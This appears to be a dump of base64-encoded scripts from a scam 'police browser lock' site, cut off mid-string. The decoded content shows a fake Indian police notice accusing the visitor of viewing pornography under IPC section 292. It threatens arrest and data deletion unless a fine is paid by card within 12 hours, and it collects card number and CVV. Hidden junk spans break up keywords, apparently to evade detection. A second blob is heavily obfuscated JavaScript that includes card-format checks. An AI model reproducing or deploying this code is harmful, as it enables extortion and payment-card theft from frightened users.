FJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPmVkaXQgY2E8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPnJkIGFzIHByZXNjcmliZWQgYnkgSVBDIHNlY3Rpb24gMjkyIGFuZCAyOTMuPC9kaXY+JysNCic8ZGl2IGNsYXNzPW10LTI+PGI+QXQ8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPnRlbnRpb24hPC9iPiBJZiB5b3UgZjxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+YWlsIHRvIHBheSBhIGZpbmUgb3IgYXR0PHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5lbXB0IHRvIHVuYjxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+bG88c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPmNrIHlvdXIgY29tcHV0ZXIgd2l0aG91dCBwYTxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+eWluZyBhIGZpbmUsIGFsbCBpbmZvcm1hdGlvbiBvbiB5b3VyIGRldmljZSB3aWxsIGJlIHBlcm1hbmVudGx5IGRlbGV0ZWQgaW4gb3JkZXIgdG8gcHJldmVudCB0aGUgZGlzc2VtaW5hdGlvbiBvZiBwb3I8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPm5vZ3I8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPmFwaHkuPC9kaXY+JysNCic8ZGl2IGNsYXNzPW10LTI+VGhlIHBvPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5saTxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+Y2Ugd2lsbCBjb21lIHRvIHlvdXIgaG9tZSB0byBhcnJlc3QgeW91IGFuZCBjcjxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+aW1pbjxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+YWwgY2hhcmdlcyB3aWxsIGJlIGZpbGVkIGFnYWluc3QgeW91LiBZb3VyIGRldmljZSB3aWxsIGJlIHVubDxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+b2NrZWQgYXV0b21hdGljYWxseSBhZnRlciB0aGUgZmluZSBpcyBwYTxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+aWQuPC9kaXY+JysNCic8ZGl2IGNsYXNzPW10LTI+U2VjdGlvbiAyOTIgKDEpIEEgcGVyc29uIHdobyBkaXN0cmlidXRlcyBvciBkaXNwbGF5cyBpbiBwdWJsaWMgb2JzY2VuZSBvYmplY3RzIHN1Y2ggYXMgZG9jdW1lbnRzLCBkcmF3aW5ncyBvciByZWNvcmRpbmcgbWVkaWEgY29udGFpbmVkIGluIGVsZWN0cm9uaWMgb3IgbWFnbmV0aWMgcmVjb3JkcyBpcyBwdW5pc2hlZCBieSBpbXByaXNvbm1lbnQgZm9yIG5vdCBtb3JlIHRoYW4gMiB5ZWFycywgYSBmaTxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+bmUgb2Ygbm90IG1vcmUgdGhhbiAyNTAsMDAwIEluZGlhbiBydXBlZSBvciBwYWx0cnkgZjxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+aW5lLCBvciBib3RoIGltcHJpc29ubWVudCBhbmQgYSBmaTxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+bmUuIFRoZSBzYW1lIGFwcGxpZXMgdG8gYSBwZXJzb24gd2hvIGRpc3RyaWJ1dGVzIG9ic2NlbmUgcmVjb3JkcyBpbmNsdWRpbmcgZWxlY3Ryb25pYyBvciBtYWduZXRpYyByZWNvcmRzIHRocm91Z2ggdGhlIHRyYW5zbWlzc2lvbiBvZiB0ZWxlY29tbXVuaWNhdGlvbnMuPC9kaXY+JysNCic8ZGl2IGNsYXNzPW10LTI+KDIpIFRoZSBzYW1lIGFwcGxpZXMgdG8gYSBwZXJzb24gd2hvIHBvc3Nlc3NlcyB0aGUgb2JqZWN0cyByZWZlcnJlZCB0byBpbiB0aGUgcHJlY2VkaW5nIHBhcmFncmFwaCBvciBzdG9yZXMgZWxlY3Ryb25pYyBvciBtYWduZXRpYyByZWNvcmRzIHJlZmVycmVkIHRvIGluIHRoZSBzYW1lIHBhcmFncmFwaCBmb3IgdGhlIHB1cnBvc2Ugb2Ygdmlld2luZyB0aGVtLjwvZGl2PiIsJyArDQogICAgJyJjYScrJ3JkUGxhY2Vob2xkZXIiOiAiKioqKiAgICoqKiogICAqKioqICAgKioqKiIsICcgKw0KICAgICciY3YnKyd2UGxhY2Vob2xkZXIiOiAiQ29kZSIsICcgKw0KICAgICciZm91cnRoQmxvY2siOiAiWW88c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPnVyIGJybzxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+d3NlciB3aWxsIGJlIHVubG88c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPmNrZWQgYXV0b21hdGljYWxseSBhZnRlciB0aGUgZmluZSBwYTxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+eW1lbnQuPGJyPjxzdHJvbmc+QXR0ZTxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+bnRpb24hPC9zdHJvbmc+IEluIGNhc2Ugb2Ygbm9uLXBhPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj55bWVudCBvZiB0aGUgZmluZSwgb3IgIHlvdXIgYXR0ZW1wdHMgdG8gdW5sPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5vY2sgdGhlIGRldjxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+aWNlIGluZGVwZW5kZW50bHkgLCBjYXNlIG1hdGVyaWFscyB3aWxsIGJlIHRyYW5zZmVyZWQgdG8gTWluPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5pc3RyeSBvZiBMPHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5hdyBmb3IgdGhlIGluc3RpdHV0aW9uIG9mIGNyaW1pbmFsIHByb2NlZWRpbmdzIGFnYWluc3QgeW91IGR1ZSB0byBjb21taXRtZW50IGEgY3I8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPmltZS4iLCAnICsNCiAgICAnInRpbWVUZXh0IjogIlA8c3BhbiBjbGFzcz1oaWRkZW4+RFJYVHJjeXVmeWl1b2lwZGxzPC9zcGFuPmF5IHRoZSBmaTxzcGFuIGNsYXNzPWhpZGRlbj5EUlhUcmN5dWZ5aXVvaXBkbHM8L3NwYW4+bmUgd2l0PHNwYW4gY2xhc3M9aGlkZGVuPkRSWFRyY3l1ZnlpdW9pcGRsczwvc3Bhbj5oaW4gMTIgaG91cnMuIiwgJyArDQogICAgJyJ0aW1lciI6ICJBY2Nlc3MgY29kZSByZWNlaXZlZCBieSBTTVMifSc7DQoNCg0KdmFyIHRleHQgPSBbXTsNCg0KdGV4dFswXSA9ICcnOw0KdGV4dFsxXSA9ICc8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOiAxMHB4O3RleHQtYWxpZ246IHJpZ2h0OyI+PGEgY2xhc3M9ImxhbmdfY2hhbmdlIGJ0biBidG4tcHJpbWFyeSIgaHJlZj5DaGFuZ2UgdG8gRU5HTElTSDwvYT48L2Rpdj48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXIiPjxpbWcgc3JjPSIvYy1hc3NldHMvaW1nL3RleHQyLmpwZyIgLz48L2Rpdj4nOw0KDQp2YXIgY3VycmVudCA9IDA7DQokKCkucmVhZHkoZnVuY3Rpb24oKXsNCiAgICAkKCcubGVmdEJvZHlCbG9jaycpLmNzcygnY3Vyc29yJywgJ2F1dG8nKTsNCiAgICAkKCcubGVmdEJvZHlCbG9jaycpLnByZXBlbmQoJzxkaXYgc3R5bGU9Im1hcmdpbi1ib3R0b206IDEwcHg7dGV4dC1hbGlnbjogcmlnaHQ7Ij48YSBjbGFzcz0ibGFuZ19jaGFuZ2UgYnRuIGJ0bi1wcmltYXJ5IiBocmVmPkNoYW5nZSB0byBJTkRJQU48L2E+PC9kaXY+Jyk7DQoNCiAgICAkKGRvY3VtZW50LmJvZHkpLm9uKCdjbGljaycsICcubGFuZ19jaGFuZ2UnLCBmdW5jdGlvbiAoZSl7DQogICAgICAgIGUucHJldmVudERlZmF1bHQoKTsNCg0KICAgICAgICBpZiAodGV4dFswXSA9PSAnJykgew0KICAgICAgICAgICAgdGV4dFswXSA9ICQoJy5sZWZ0Qm9keUJsb2NrJykuaHRtbCgpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYoY3VycmVudCA9PSAwKSB7DQogICAgICAgICAgICBjdXJyZW50ID0gMTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGN1cnJlbnQgPSAwOw0KICAgICAgICB9DQogICAgICAgICQoJy5sZWZ0Qm9keUJsb2NrJykuaHRtbCh0ZXh0W2N1cnJlbnRdKTsNCiAgICB9KTsNCg0KfSk7DQp2YXIgY0NvZGUgPSAnaW5kJzs=
  4. https://indaseclawsl.life/data:text/javascript;base64,KGZ1bmN0aW9uKF8weDQ2ZTk5NSxfMHgxYTY5NWIpe2Z1bmN0aW9uIF8weDQ4NWQ2OShfMHgyOGJkYWYsXzB4NTc1ZmQ0LF8weDU0YjczOCxfMHg0M2FkNmUpe3JldHVybiBfMHg0YzBmKF8weDI4YmRhZi0gLTB4MzY0LF8weDU3NWZkNCk7fXZhciBfMHg0MDc0MzI9XzB4NDZlOTk1KCk7ZnVuY3Rpb24gXzB4MTcxMjNhKF8weDQ1YTBiOSxfMHhlNjQ1ZDQsXzB4MWU5NGIzLF8weDQzMTczNCl7cmV0dXJuIF8weDRjMGYoXzB4NDVhMGI5LSAtMHhlZixfMHgxZTk0YjMpO313aGlsZSghIVtdKXt0cnl7dmFyIF8weDE2YWMyYz1wYXJzZUludChfMHg0ODVkNjkoMHg2ZSwweDZmLDB4M2IsMHhkZSkpLygweGQ2MCsweGM1NSstMHgxOWI0KSoocGFyc2VJbnQoXzB4NDg1ZDY5KDB4MTEwLDB4ZDAsLTB4MWM0LDB4MTY3KSkvKC0weDEqMHhiOTcrMHgxMjU2KjB4MSstMHg0YioweDE3KSkrLXBhcnNlSW50KF8weDQ4NWQ2OSgweDMwOSwweDMxNiwweDMyMiwweDQ0NCkpLygweDMyMysweDEqLTB4MTUwZisweDExZWYpK3BhcnNlSW50KF8weDQ4NWQ2OSgweDNkLC0weDQwLDB4MWU5LDB4YjQpKS8oLTB4MTg5MCstMHgxZCotMHg4OSstMHg5MGYqLTB4MSkqKHBhcnNlSW50KF8weDQ4NWQ2OSgweDEyZiwtMHgxYzQsLTB4MTU5LC0weDEzYSkpLygtMHgxNjhhKy0weDIzZDErMHgzYTYwKSkrcGFyc2VJbnQoXzB4NDg1ZDY5KC0weDFmNSwtMHg2ZCwtMHgzYzUsLTB4MzEyKSkvKDB4OWYwKy0weDFhOTMrLTB4NSotMHgzNTUpK3BhcnNlSW50KF8weDE3MTIzYSgweDQyNSwweDQ5NCwweDYzZiwweDNjZSkpLygweDFjOGQrLTB4MjI4MisweDVmYykrLXBhcnNlSW50KF8weDE3MTIzYSgweDNkOCwweDQ4ZCwweDMzNiwweDViNSkpLygweDEzMGIrMHg4N2MrMHgxYjdmKi0weDEpKihwYXJzZUludChfMHg0ODVkNjkoMHhhLDB4YSwtMHgxZDIsLTB4MTk0KSkvKC0weDMqLTB4NWVlKy0weDYyOSoweDUrMHhkMGMpKSstcGFyc2VJbnQoXzB4NDg1ZDY5KC0weGY5LC0weDJiNCwtMHgxZDcsMHgxNmYpKS8oMHgxMmQrMHgxOTE5Ki0weDErMHgxN2Y2KTtpZihfMHgxNmFjMmM9PT1fMHgxYTY5NWIpYnJlYWs7ZWxzZSBfMHg0MDc0MzJbJ3B1c2gnXShfMHg0MDc0MzJbJ3NoaWZ0J10oKSk7fWNhdGNoKF8weDVhYmZiMSl7XzB4NDA3NDMyWydwdXNoJ10oXzB4NDA3NDMyWydzaGlmdCddKCkpO319fShfMHgxODRhLC0weDY0MTcxKy0weDMqMHgyZTU2KzB4YjQ4YTUpKTt2YXIgXzB4MTMzMTUzPShmdW5jdGlvbigpe3ZhciBfMHgzNDE5YWI9eydQUHNNdyc6ZnVuY3Rpb24oXzB4ZTEyZTdmLF8weDM4Mjg4Nil7cmV0dXJuIF8weGUxMmU3ZitfMHgzODI4ODY7fSwnWktLa3onOmZ1bmN0aW9uKF8weDk1NWUwLF8weDE3OTc2NSl7cmV0dXJuIF8weDk1NWUwKF8weDE3OTc2NSk7fSwnbmZyRHQnOmZ1bmN0aW9uKF8weGI4ZGEyZSxfMHgzM2ZhYTUpe3JldHVybiBfMHhiOGRhMmUrXzB4MzNmYWE1O30sJ2lmRm1TJzpmdW5jdGlvbihfMHhiZmFhYjAsXzB4NDllNzdiKXtyZXR1cm4gXzB4YmZhYWIwIT1fMHg0OWU3N2I7fSwnRE1qTnMnOl8weGE0NTAwMCgtMHg1OCwtMHgzNGQsLTB4MzksMHgxZDIpK18weGE0NTAwMCgweDFlYiwtMHgyMCwtMHgxYywweGUpLCdzVUJxdyc6ZnVuY3Rpb24oXzB4NTE2MDQ1LF8weGYwNzU3MSl7cmV0dXJuIF8weDUxNjA0NT09PV8weGYwNzU3MTt9LCdPUGdQZCc6XzB4NGFiNmYzKDB4YjI3LDB4ODMzLDB4YTBlLDB4YTlmKSwnS2lYRFonOidTUnhORid9O2Z1bmN0aW9uIF8weGE0NTAwMChfMHhmNTM1NzksXzB4NTRmZjQ4LF8weDMxNWJhOCxfMHgyZmVkMTQpe3JldHVybiBfMHg0YzBmKF8weGY1MzU3OS0gLTB4MjUyLF8weDU0ZmY0OCk7fXZhciBfMHg0OTEyNWM9ISFbXTtmdW5jdGlvbiBfMHg0YWI2ZjMoXzB4OWZhMjA3LF8weDU0MWI1MSxfMHgxMzMyMDksXzB4M2I4MGQ4KXtyZXR1cm4gXzB4NGMwZihfMHgxMzMyMDktMHgzZDgsXzB4M2I4MGQ4KTt9cmV0dXJuIGZ1bmN0aW9uKF8weDRiYTI5MixfMHgyZWE2YTQpe3ZhciBfMHgzNGUwY2M9XzB4NDkxMjVjP2Z1bmN0aW9uKCl7ZnVuY3Rpb24gXzB4MmY3NmQyKF8weDI1MGMzYyxfMHg0MTliMDgsXzB4NGZlZDM4LF8weDg4YmEwKXtyZXR1cm4gXzB4NGMwZihfMHgyNTBjM2MtIC0weDFlMCxfMHg0ZmVkMzgpO312YXIgXzB4MWQyM2IxPXsnTEVTZEYnOmZ1bmN0aW9uKF8weDQzNjlmNCxfMHg1NWIyNjEpe3JldHVybiBfMHgzNDE5YWJbJ1BQc013J10oXzB4NDM2OWY0LF8weDU1YjI2MSk7fSwnQW9SREcnOmZ1bmN0aW9uKF8weDQyZTc3YixfMHgxNTJlZDYpe3JldHVybiBfMHg0MmU3N2IrXzB4MTUyZWQ2O30sJ2lHTW9FJzpmdW5jdGlvbihfMHg0YTA0ODMsXzB4MTlhMWY4KXtmdW5jdGlvbiBfMHgyNzUwOTQoXzB4MzAzODk3LF8weDFhYTY3YSxfMHg0NzZiNjAsXzB4YzYxODRjKXtyZXR1cm4gXzB4NGMwZihfMHg0NzZiNjAtIC0weDE5OCxfMHgzMDM4OTcpO31yZXR1cm4gXzB4MzQxOWFiW18weDI3NTA5NCgweDFkZiwweDUwZiwweDJkZiwweDE0MSldKF8weDRhMDQ4MyxfMHgxOWExZjgpO30sJ2pwakVTJzpmdW5jdGlvbihfMHgyNjRkMTksXzB4MTc4OWQ1KXtmdW5jdGlvbiBfMHgzNTdlMTkoXzB4MjVkMWIzLF8weDUzYmIxNixfMHg0NjY2MjUsXzB4MjdkNTg3KXtyZXR1cm4gXzB4NGMwZihfMHgyN2Q1ODctMHgyZGQsXzB4NTNiYjE2KTt9cmV0dXJuIF8weDM0MTlhYltfMHgzNTdlMTkoMHgzNTEsMHg4MjUsMHg0NDksMHg1ZmUpXShfMHgyNjRkMTksXzB4MTc4OWQ1KTt9LCdXeUxlUCc6ZnVuY3Rpb24oXzB4NTI2M2JmLF8weDliYjU2Mil7cmV0dXJuIF8weDUyNjNiZi1fMHg5YmI1NjI7fSwnRlV5cXYnOmZ1bmN0aW9uKF8weDFjMWZjOCxfMHgzYmI1MmUpe3JldHVybiBfMHgxYzFmYzg+PV8weDNiYjUyZTt9LCdJdkF4Ric6ZnVuY3Rpb24oXzB4ZmZiYTRjLF8weDI1Yjg2NSl7ZnVuY3Rpb24gXzB4MmNiODBmKF8weDQ5Yzc3YSxfMHgzODQzNjQsXzB4NDU1MDEwLF8weDJiNjNlZil7cmV0dXJuIF8weDRjMGYoXzB4Mzg0MzY0LTB4MTg5LF8weDJiNjNlZik7fXJldHVybiBfMHgzNDE5YWJbXzB4MmNiODBmKDB4NTViLDB4NTQwLDB4NGJhLDB4NDBlKV0oXzB4ZmZiYTRjLF8weDI1Yjg2NSk7fSwncHFoeHgnOl8weDM0MTlhYltfMHgyZjc2ZDIoMHhjNiwtMHg4ZSwweGM5LC0weDE1NCldLCd0Znhsbic6ZnVuY3Rpb24oXzB4YmZlMTBjLF8weDM5NzljNSl7cmV0dXJuIF8weGJmZTEwYyE9PV8weDM5NzljNTt9LCdBdGxKUSc6ZnVuY3Rpb24oXzB4ZDk1N2UyLF8weDM2N2RhYil7ZnVuY3Rpb24gXzB4NTVjYzJhKF8weDVhYTU3MyxfMHgyZTkyNDksXzB4NmMxYjczLF8weDJhMjYzNSl7cmV0dXJuIF8weDJmNzZkMihfMHgyYTI2MzUtIC0weDE4NSxfMHgyZTkyNDktMHgxNjcsXzB4NmMxYjczLF8weDJhMjYzNS0weGEpO31yZXR1cm4gXzB4MzQxOWFiW18weDU1Y2MyYSgtMHgxYTAsMHgxNywweDYsLTB4OGUpXShfMHhkOTU3ZTIsXzB4MzY3ZGFiKTt9LCdVcnBrTyc6XzB4MzQxOWFiW18weDQ1YzA1YSgweDcyNCwweDk0NywweDdkYSwweDZjZCldLCdKZktsTic6ZnVuY3Rpb24oXzB4MzFiNGY4LF8weDMzZTkxMSl7ZnVuY3Rpb24gXzB4NDg4MjgwKF8weDMzNDE1YSxfMHgyYTVlNTIsXzB4OGE5MWJjLF8weDI3NjUwMil7cmV0dXJuIF8weDJmNzZkMihfMHgzMzQxNWEtIC0weDdhLF8weDJhNWU1Mi0weDEyNSxfMHgyYTVlNTIsXzB4Mjc2NTAyLTB4MTIxKTt9cmV0dXJuIF8weDM0MTlhYltfMHg0ODgyODAoMHgyMWQsMHgxNmEsMHgxNjcsMHgxNyldKF8weDMxYjRmOCxfMHgzM2U5MTEpO30sJ01SVHVIJzpmdW5jdGlvbihfMHg1MzNkMGQsXzB4M2NmMGUzKXtmdW5jdGlvbiBfMHgxYTBiODIoXzB4NWQ1YmNjLF8weDE3OGZmZCxfMHg1NmU2ZmUsXzB4MTRmZjAyKXtyZXR1cm4gXzB4MmY3NmQyKF8weDVkNWJjYy0gLTB4MTU0LF8weDE3OGZmZC0weDMzLF8weDE3OGZmZCxfMHgxNGZmMDItMHhlZik7fXJldHVybiBfMHgzNDE5YWJbXzB4MWEwYjgyKC0weDEyMywtMHgyZDIsLTB4NDA2LDB4MWMwKV0oXzB4NTMzZDBkLF8weDNjZjBlMyk7fX07ZnVuY3Rpb24gXzB4NDVjMDVhKF8weDZlNTNhNixfMHhkYWIzNjgsXzB4MTM5MTFjLF8weDNmYzU5Yil7cmV0dXJuIF8weDRjMGYoXzB4MTM5MTFjLTB4MmQ3LF8weDNmYzU5Yik7fWlmKF8weDM0MTlhYlsnS2lYRFonXSE9PV8weDM0MTlhYltfMHgyZjc2ZDIoLTB4OWYsLTB4MTYzLDB4MTY5LC0weDE1MSldKXt2YXIgXzB4MWVhMTkzPXsnQkhuSnQnOmZ1bmN0aW9uKF8weDRjM2FjMCxfMHg1MmM1MWIpe3JldHVybiBfMHgxZDIzYjFbJ0xFU2RGJ10oXzB4NGMzYWMwLF8weDUyYzUxYik7fX0sXzB4MmQ0NDg3LF8weDE5MzFjMyxfMHg0Nzg4MTQsXzB4NDMzZGQyLF8weDUzNjE0YSxfMHg0OTljMDAsXzB4Mjg5YmY2O3JldHVybiBfMHg0Nzg4MTQ9XzB4NDg0YzM3W18weDQ1YzA1YSgweDE2NCwweDU0YywweDQyZSwweDVmNikrJ2RlJ10oXzB4NDMzNTg0W18weDQ1YzA1YSgweDdjNiwweGE5OSwweDlhNywweGFlNSldKSwhL15cZCskL1tfMHg0NWMwNWEoMHg1NGIsMHg3NDMsMHg3M2YsMHg5NjQpXShfMHg0Nzg4MTQpfHwoXzB4MmQ0NDg3PV8weDFkMjNiMVtfMHg0NWMwNWEoMHgzZTMsMHgyMWMsMHg0M2QsMHgzZmMpXShfMHgzNTFjYjgsXzB4NTMwN2E1WydjdXJyZW50VGFyJytfMHg0NWMwNWEoMHg4YjUsMHg3OGUsMHg4YWYsMHg4NGQpXSksXzB4Mjg5YmY2PV8weDJkNDQ4N1tfMHgyZjc2ZDIoLTB4NjAsMHhjLDB4MjQyLDB4NjApXSgpLF8weDE5MzFjMz1fMHgxZDIzYjFbXzB4NDVjMDVhKDB4MWFjLDB4MmI0LDB4NDNkLDB4NmY0KV0oXzB4NDIwMjdiLF8weDFkMjNiMVsnanBqRVMnXShfMHgyODliZjYsXzB4NDc4ODE0KSksXzB4NDMzZGQyPShfMHgyODliZjZbXzB4MmY3NmQyKDB4NGM5LDB4NWU3LDB4NGEwLDB4M2NmKV0oL1xEL2csJycpK18weDQ3ODgxNClbXzB4MmY3NmQyKDB4NDVlLDB4NTQ1LDB4NzBlLDB4NjYxKV0sXzB4NDk5YzAwPS0weDI5ZCsweDVjOSoweDErLTB4NCoweGM3LF8weDE5MzFjMyYmKF8weDQ5OWMwMD1fMHgxOTMxYzNbXzB4MmY3NmQyKDB4NDVlLDB4Mjc4LDB4MWU1LDB4NjllKV1bXzB4MWQyM2IxWydXeUxlUCddKF8weDE5MzFjM1tfMHg0NWMwNWEoMHg5OTQsMHg3MmEsMHg5MTUsMHg2ZGUpXVtfMHgyZjc2ZDIoMHg0NWUsMHgxNjgsMHg0MDcsMHgyOGQpXSwtMHgxMTM0KzB4NjcqLTB4MjUrMHgyMDE4KV0pLF8weDFkMjNiMVsnRlV5cXYnXShfMHg0MzNkZDIsXzB4NDk5YzAwKXx8XzB4MWQyM2IxW18weDJmNzZkMigweDE4NSwweDIsMHgyZWIsMHg0MjYpXShudWxsLF8weDJkNDQ4N1tfMHg0NWMwNWEoMHg3ZjksMHg3ZTAsMHg5M2EsMHhiMDEpXShfMHgxZDIzYjFbXzB4MmY3NmQyKDB4MzI5LDB4NGMyLDB4NDdlLDB4NTI4KV0pKSYmXzB4MWQyM2IxW18weDQ1YzA1YSgweGE1NCwweDZhZiwweDkwOCwweDc3YSldKF8weDJkNDQ4N1tfMHgyZjc2ZDIoMHg0ODMsMHgyODMsMHgzMjQsMHg3N2EpXShfMHgxZDIzYjFbJ3BxaHh4J10pLF8weDI4OWJmNltfMHgyZjc2ZDIoMHg0NWUsMHg0NDUsMHgxZGYsMHg0YTQpXSkpP3ZvaWQoLTB4MjgyKjB4NSstMHgxNGYqMHgxOCsweDJiZjIpOihfMHg1MzYxNGE9XzB4MTkzMWMzJiZfMHgxZDIzYjFbXzB4NDVjMDVhKDB4OWEwLDB4YTNjLDB4N2JjLDB4YWIzKV0oXzB4MWQyM2IxWydVcnBrTyddLF8weDE5MzFjM1sndHlwZSddKT8vXihcZHs0fXxcZHs0fVxzXGR7Nn0pJC86Lyg/Ol58XHMpKFxkezR9KSQvLF8weDUzNjE0YVtfMHgyZjc2ZDIoMHgyODgsLTB4MSwweDM5OSwweDMwMyldKF8weDI4OWJmNik/KF8weDI3MTFiNFtfMHgyZjc2ZDIoMHgyNGEsMHgxYTAsMHgyNTAsMHgyZmQpK18weDJmNzZkMigtMHg3MywtMHgxMTYsLTB4MjhkLC0weDI2NildKCksXzB4MWQyM2IxW18weDQ1YzA1YSgweDg4OSwweDg3ZCwweDc1NSwweDQ3YSldKF8weDE1OGIyYixmdW5jdGlvbigpe2Z1bmN0aW9uIF8weDc3MTQ2NihfMHg0ZDNhNjQsXzB4NGFiMTRiLF8weDI2M2U1NSxfMHgzOTMxYjApe3JldHVybiBfMHg0NWMwNWEoXzB4NGQzYTY0LTB4ZjMsXzB4NGFiMTRiLTB4MTYzLF8weDM5MzFiMC0weDEwNCxfMHg0YWIxNGIpO31mdW5jdGlvbiBfMHgzZjE1YmMoXzB4NDNhNDQxLF8weDI4MWUyZCxfMHg0MzhlMzksXzB4MzFhZmRmKXtyZXR1cm4gXzB4NDVjMDVhKF8weDQzYTQ0MS0weDE4MCxfMHgyODFlMmQtMHgxMDgsXzB4MzFhZmRmLSAtMHgxMDMsXzB4NDNhNDQxKTt9cmV0dXJuIF8weDJkNDQ4N1tfMHgzZjE1YmMoMHhlNCwweDI5ZCwweDZlLDB4MzU0KV0oXzB4MWQyM2IxW18weDNmMTViYygweDc2MSwweDdiYywweDU0NiwweDU2YSldKF8weDFkMjNiMVtfMHgzZjE1YmMoMHgzYmYsMHgzODEsMHg1ZTQsMHgzZjUpXShfMHgyODliZjYsJ1x4MjAnKSxfMHg0Nzg4MTQpKTt9KSk6XzB4NTM2MTRhW18weDJmNzZkMigweDI4OCwweDU3NywweDQ3NSwweGU3KV0oXzB4MWQyM2IxW18weDQ1YzA1YSgweDc5MSwweDdiNywweDczNCwweDgyMildKF8weDI4OWJmNixfMHg0Nzg4MTQpKT8oXzB4MzVhZjdhW18weDQ1YzA1YSgweDljYiwweDQ5MywweDcwMSwweDQzZikrXzB4NDVjMDVhKDB4MjgxLDB4NWFiLDB4NDQ0LDB4MWY1KV0oKSxfMHgxZDIzYjFbXzB4NDVjMDVhKDB4OWRiLDB4OGUzLDB4NzU1LDB4OWJiKV0oXzB4MTkyN2E0LGZ1bmN0aW9uKCl7ZnVuY3Rpb24gXzB4MTBjZWE5KF8weDJlMDllYyxfMHgzM2ZhODksXzB4MjUzOWI4LF8weDRiNmI2Nyl7cmV0dXJuIF8weDJmNzZkMihfMHgyNTM5YjgtMHg0NzcsXzB4MzNmYTg5LTB4ZmYsXzB4MmUwOWVjLF8weDRiNmI2Ny0weDEzNik7fWZ1bmN0aW9uIF8weDJjMjUzMyhfMHgxNzBhZDUsXzB4MzgxMzY3LF8weDFhZjdlNSxfMHgzMzhmMGYpe3JldHVybiBfMHg0NWMwNWEoXzB4MTcwYWQ1LTB4MTRhLF8weDM4MTM2Ny0weDFhMCxfMHgxYWY3ZTUtIC0weDYwMixfMHgzODEzNjcpO31yZXR1cm4gXzB4MmQ0NDg3W18weDEwY2VhOSgweDE3NiwweDFmMCwweDQxNywweDQ5MyldKF8weDFlYTE5M1tfMHgxMGNlYTkoMHg5MTksMHg2MWUsMHg5MDMsMHg3NzQpXShfMHgyODliZjYsXzB4NDc4ODE0KSsnXHgyMCcpO30pKTp2b2lkKC0weDIzOWIqLTB4MSsweGNkKjB4ZCstMHgxMyoweDI2YykpO31lbHNle2lmKF8weDJlYTZhNCl7dmFyIF8weDMwNGIzNz1fMHgyZWE2YTRbXzB4MmY3NmQyKDB4YjQsMHgzYTksMHgzMWYsLTB4MTdiKV0oXzB4NGJhMjkyLGFyZ3VtZW50cyk7cmV0dXJuIF8weDJlYTZhND1udWxsLF8weDMwNGIzNzt9fX06ZnVuY3Rpb24oKXt9O3JldHVybiBfMHg0OTEyNWM9IVtdLF8weDM0ZTBjYzt9O30oKSksXzB4MWRjZDdhPV8weDEzMzE1Myh0aGlzLGZ1bmN0aW9uKCl7dmFyIF8weDUxZmFhMD17fTtmdW5jdGlvbiBfMHgxOThjZjUoXzB4NDAxMGVjLF8weDQ0ODgyZixfMHg0ZTJkMGUsXzB4NDNkOWMyKXtyZXR1cm4gXzB4NGMwZihfMHg0NDg4MmYtMHgzNWEsXzB4NGUyZDBlKTt9XzB4NTFmYWEwWydMU3BFTyddPV8weDVlY2RiMigweDNmZSwweDJjMiwweDUzNywweDY1MCkrJyskJztmdW5jdGlvbiBfMHg1ZWNkYjIoXzB4MWM5OTI1LF8weDViNTc4ZCxfMHg1OWI3MjIsXzB4NWE0MmNkKXtyZXR1cm4gXz